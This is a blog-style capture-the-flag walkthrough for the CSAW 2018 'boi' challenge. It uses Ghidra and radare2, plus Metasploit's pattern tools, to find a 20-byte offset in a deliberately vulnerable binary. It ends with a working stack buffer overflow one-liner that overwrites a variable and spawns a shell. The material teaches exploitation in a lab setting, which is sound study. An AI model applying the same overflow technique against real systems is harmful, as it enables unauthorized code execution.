# Stack Buffer Overflow-01 (csaw18\_boi)

This is a challenge from [Nightmares](https://guyinatuxedo.github.io/) big collection of Binary exploitation challenges. This one is from CSAW 2018 and its called boi about finding an offset to a target variable and overflowing it with a specific value. You can get the binary [here](https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable/csaw18_boi). I plan to solve all the Nightmare challenges using radare2, because I don't see many articles talking about the power of Radare2. Without further ado, let's get started!!

## Decompiling the binary (Static Analysis)

We start with decompiling the binary using ghidra and looking at the`main` function. To see the decompiled code:

* Open Ghidra and create a new project by going to File> New Project
* Import the file in Ghidra by going File> Import File
* Double click on the file imported (this is shown in the Active Project pane inside Ghidra)
* Click `ok` a couple of times and your binary should be imported in the current project
* Double Click the binary and Ghidra will ask if you want it to analyze. Click yes> Analyze
* Give ghidra some time (depending on your machine) to analyze the binary
* Now over on the left side of ghidra window, You can list all the functions under Symbol Tree> Functions
* Under `Functions` click on `main`  and you should be presented with  the disassembly of the binary in the middle pane and on the right should be the decompiled version of the binary&#x20;

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWce3mqhlBjRVjL0DcE%2F-MWcf_-UQ-xuJmcWCZif%2Fimage.png?alt=media\&token=35057e74-78b0-4b03-89cd-a62b5819506c)

```c
undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined8 local_38;
  undefined8 local_30;
  undefined4 local_28;
  int iStack36;
  undefined4 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_38 = 0;
  local_30 = 0;
  local_20 = 0;
  local_28 = 0;
  iStack36 = -0x21524111;
  puts("Are you a big boiiiii??");
  read(0,&local_38,0x18);
  if (iStack36 == -0x350c4512) {
    run_cmd("/bin/bash");
  }
  else {
    run_cmd("/bin/date");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

* We can see just after the puts instruction (line 18), there is a `read()` function (line 19) which is reading `0x18` bytes from stdin `(0)` storing the output in `local_38`&#x20;
* Then there's an if statement that checks the input to a constant value

Enough of static code analysis, lets debug the binary in radare2.

## Debugging with Radare2

&#x20;We open the binary with radare2 in debug mode with the following command

```
r2 -d ./boi
```

Before we start debugging in radare2 we need to do a quick setup.

### Setting up Standard input and Standard output for debugging in Radare2

We will be using a file to provide the stdin to radare2 and we will be redirecting the stdout to a different terminal (different from the one where radare2 is running). This makes it very easy to change the stdin given to radare2 and it does not clobbers our radare2 terminal screen.&#x20;

**Before proceeding, it is recommended to use tmux or any terminal multiplexer**

We will be creating a rarun2 profile with the following contents

```
#!/usr/bin/env rarun2
stdin=stdin.txt         # file name to read the stdin from
stdout=/dev/pts/5       # Redirect the stdout to tty with id 5
```

> Line2: Enter the name of the file you want to use as input
>
> Line3: Make a new pane (in tmux) and run `tty` comand to get the id of the terminal. This is where the output will be redirected when we run the binary in radare2

and save it as `tty.rr2  (The name really doesn't matter)` (the name really doesn't matters)

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWciXoEhc5ZSH74QIhI%2F-MWcl9KUbCLhFo7oR3NM%2Fimage.png?alt=media\&token=f3432fbe-8822-4d88-8406-22575e84a3e1)

Now we can keep changing the contents of stdin.txt with the command (on another pane)

```
python -c "print('A'*100)" > stdin.txt
```

This is how my terminal looks like after making all the splits:

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWdGQqolKLC_mKmVxKZ%2F-MWdISXzEznKhPF_wG6J%2Fimage.png?alt=media\&token=dd71fcf0-aa28-46a6-a962-b6ba6da66432)

So we have 4 panes with the following purposes:

* **Pane 1:**&#x54;his is where we will work with radare2
* **Pane 2**: We will be getting the stdout here
* **Pane3**: We will use this to modify the contents of input file (stdin.txt)
* **Pane4**: To look at the contents of stdin.txt all the time

Before proceeding, there's one more thing we need to take care of, when the std output comes on pane 2, zsh will try to execute them, so instead what we can do is, halt the execution of any commands on that terminal using `sleep 999` . Enter this command in pane3 and everything should be setup for us now.

### Analyzing the binary in Radare2

To import the rarun2 config file with radare2 run the following command:

```
r2 -e dbg.profile=tty.rr2 -d ./boi
```

Now we are presented with gdb commandline interface.&#x20;

* We start by analyzing the binary with `aaa`&#x20;
* And then we can list the available function from the symbol tree with `afl`&#x20;

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWdGQqolKLC_mKmVxKZ%2F-MWdKp6PXWvTFQG8l6Bj%2Fimage.png?alt=media\&token=24703958-403e-484d-800a-f3d3ac1f3034)

* Let's disassemble the main function with `pdf @ main` or we can seek (move) to the main function with `s main` and then do a simple `pdf` which prints the disassembly of the function from the current position in the binary.&#x20;

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWdGQqolKLC_mKmVxKZ%2F-MWdLcmLl5S4DS45LDHt%2Fimage.png?alt=media\&token=af8a541e-8621-4f49-9f90-1958b8822659)

* You can see your current position inside the memory at the start of the radare2 prompt (marked in red in the above image)
* We see a read instruction at the address `0x004006a0` , this is where binary asks for an input.

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWdGQqolKLC_mKmVxKZ%2F-MWdMVwkk6oaFutSMQrk%2Fimage.png?alt=media\&token=f3efe1c6-6648-42f2-abe4-9d433b9a866e)

* Let's proceed by making a breakpoint at the read instruction`0x004006a0`

```
db 0x004006a0
```

* Now we can execute the binary with `dc` (debugger continue) and we are presented with the output in r2 window saying `hit breakpoint at: 0x4006a0`&#x20;

> Note, sometimes binary might not execute with dc, just run dc command again

* Now comes the time to show the true power of radare2, we will be going into "Visual Mode"

### Radare2 Visual Mode

To enter into visual mode

```
vv
```

and you should be presented with the following screen

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWdP0lkqxHc5vBWsDYr%2F-MWdRIaSyw-peGVxjGD4%2Fimage.png?alt=media\&token=58c59597-5b51-4e2a-808f-7688a720621a)

Get yourself acquainted with this window, we will be spending a lot of time here. The most important parts here are&#x20;

1. **Disassembly View**: This is the Disassembly view of the binary and you can see many comments starting with `;` , you can even add in your own comments on the current instruction with `;` and enter in your comment and press enter, this will add the comment on the first instruction that you see in the disasembly view.
2. **Stack View**: This is the "live" view of the memory used by the binary, this starts at the top of the stack by default, but you can scroll with the navigation keys
3. **Register View:** You can see the value of each register here, the blue highlight means the register was changed in the last instruction
4. This is where current RIP points to&#x20;
5. These are all the local variables defined in the current function

A few tips for working in the visual mode more productive:&#x20;

> You can scroll up and down with arrow keys or use vim keys `h` `j` `k` and `l`
>
> To cycle between panes, use the tab key and you should see the blue outline switching to different panes
>
> The left column is the hex address in the virtual memory
>
> The middle 16 columns are the hex values stored in the corresponding memory location
>
> The last column is the ASCII representation of the hex data
>
> You can cycle through the color scheme with `shift + c` , I prefer the third (press `shift + c` twice) which even shows you rsp and rbp in the stack view
>
> Remeber you can edit the command being ran in any pane with `e` and then enter the command like `drr` , this gives you much more freedom over the visual mode
>
> You can toggle into `Window mode` with `w` and then you can resize the panes with `shift + arrow/vim keys`

### Debugging in Visual mode

Now, let's start the debugging process. At this point the program is halted because of our breakpoint. We need to step the binary to the next instruction with `shift + s` (this does not follows the function, `s` follows function calls). As soon as we hit `shift + s` program reads the input from stdin.txt and the input is placed onto the stack.

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWdWy2Q-v5DOK8qZzY1%2F-MWdXLfOYiLCICMONIwN%2Fimage.png?alt=media\&token=38d4c1aa-e42e-432c-9160-340ac4b71383)

You can even see `0xdeadbeef` stored onto the memory in little-endian `0xefbeadde`&#x20;

* Let's keep stepping with `shift + s` until we hit the compare statement at `0x004006a8`&#x20;

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWdWy2Q-v5DOK8qZzY1%2F-MWdY5i01UjDvkVWUqX2%2Fimage.png?alt=media\&token=43875e26-e02d-4b6e-a692-675ad8939f3d)

* Here you can see the register `eax` is being compared with the constant `0xcaf3baee` , so lets see what's stored in the register rax/eax

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWdWy2Q-v5DOK8qZzY1%2F-MWdYQhWiKkGGNUgd_WR%2Fimage.png?alt=media\&token=7301f1fc-2963-45e9-bb7f-56dd79ae86ae)

As you can see rax holds `0xdeadbeef` and since `0xdeadbeef` is not equal to `0xcaf3baee` This compares instruction will be false and the program ends.

At this point, it should be clear that we want to overwrite the `0xdeadbeef` with `0xcaf3baee` . We have at least two ways to go about it. First includes manually finding the difference between the start of our input and the start of the string `0xdeadbeef` , but this is not at all elegant and will be very time consuming in upcoming challenges. So let's semi-automate this task.

### Finding the Offset

We will be using Metasploit's `pattern_create.rb` and `pattern_offset.rb` script to generate a cyclic pattern and then find the offset.

* using `pattern_create.rb` , create a cyclic pattern of length say 100:

```
pattern_create.rb -l 200 
```

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWdWy2Q-v5DOK8qZzY1%2F-MWd_U5w5H318rAgeN4H%2Fimage.png?alt=media\&token=21b0ff58-897d-4d0f-a386-7a2433c6c23f)

* Copy the output from the above command into stdin.txt. You can use `echo` command to do so

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWdWy2Q-v5DOK8qZzY1%2F-MWd_saxZ10OifyRs1wf%2Fimage.png?alt=media\&token=44cc79f8-c1e1-4a02-b9e6-fcb9e45f9d67)

* Now we need to rerun the binary inside radare2, we can do this first by going into command mode from visual mode by pressing `:` and then we can enter the following:

```
# start the binary again
ood
# continue the program to hit the breakpoint
dc
```

And we don't have to place the breakpoints again. After running these commands you can switch back to visual mode from command mode by simply pressing `Enter` key

* Now let's step in again until we hit the compare instruction again

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWdWy2Q-v5DOK8qZzY1%2F-MWdayycWrYb-VAJwl6d%2Fimage.png?alt=media\&token=d7aeadc7-1391-41d6-8aa4-eabb7a0c9e09)

If you look at the `rax` register, this time it is filled with a different value. This is the input from our cyclic pattern.&#x20;

* Copy the value that `rax` holds, in this case `0x37614136` and run the following command&#x20;

```bash
pattern_offset.rb -l 200 -q 0x37614136
```

We should get an exact match at an offset of 20. This means we need to have 20 characters in our input before we can start the overflow.

## The final Exploit

After knowing the offset we can craft a simple exploit as follows

```
python -c "print('A' * offset + 'overflow value')" | ./boi
```

we already know the offset which is 20, and the overflow value is `0xcaf3baee` , before we can exploit we need to do two things:

1. We need to convert `0xcaf3baee` into little-endian
2. As soon as the python command finishes executing there is nothing in the stdin buffer, so we won't get a shell back and the program finishes executing without any error

After getting the above two tasks, this is how our final exploit should look like

```
(python2 -c "print('A'*20 + '\xee\xba\xf3\xca')"; cat) |./boi
```

We use `cat` command to get in our stdin and pass it out to shell

![](https://2650986351-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWcbI24yOr1H7rl9xD5%2F-MWdWy2Q-v5DOK8qZzY1%2F-MWdczt0lPcFl-kW8esF%2Fimage.png?alt=media\&token=02bb51ce-1bf7-40f4-925d-6baaf1769468)

## Final Thoughts

In my opinion, radare2 is very powerful and its ability to look at the memory and registers dynamically makes it so much powerful as a debugger. \
This was my first walkthrough on Nightmare's challenges, so any feedback and questions are welcome, You can find me on Twitter  at `@smash8tap` .

PS: I would like to Thank Lorenzo\_apd for proofreading the write-up and making it better.
